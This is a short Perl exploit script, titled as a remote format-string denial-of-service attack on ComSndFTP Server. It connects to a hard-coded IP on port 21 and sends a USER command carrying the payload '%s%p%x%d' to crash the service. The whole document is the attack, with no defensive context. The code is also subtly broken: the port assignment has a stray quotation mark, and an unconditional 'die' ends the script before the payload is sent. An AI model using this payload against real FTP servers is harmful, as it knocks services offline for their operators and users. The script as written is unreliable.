#!/usr/bin/perl
# ComSndFTP Server Remote Format String Denial of Service (DoS)

use strict;
use warnings;
use IO::Socket;

$| = 1;

my $host = "192.168.172.136";
my $port = "21"";

my $payload = '%s%p%x%d';

print "Connecting... ";

my $sock = IO::Socket::INET->new(
    PeerAddr => $host,
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => 30
);

die "Unable to connect \n";

$sock->recv(my $content, 100, 0);
sleep(2);

$sock->send("USER $payload\r\n", 0);
sleep(2);

$sock->recv($content, 100, 0);
sleep(5);

$sock->close;

print "Denial Of Service completed!\n";
exit(0);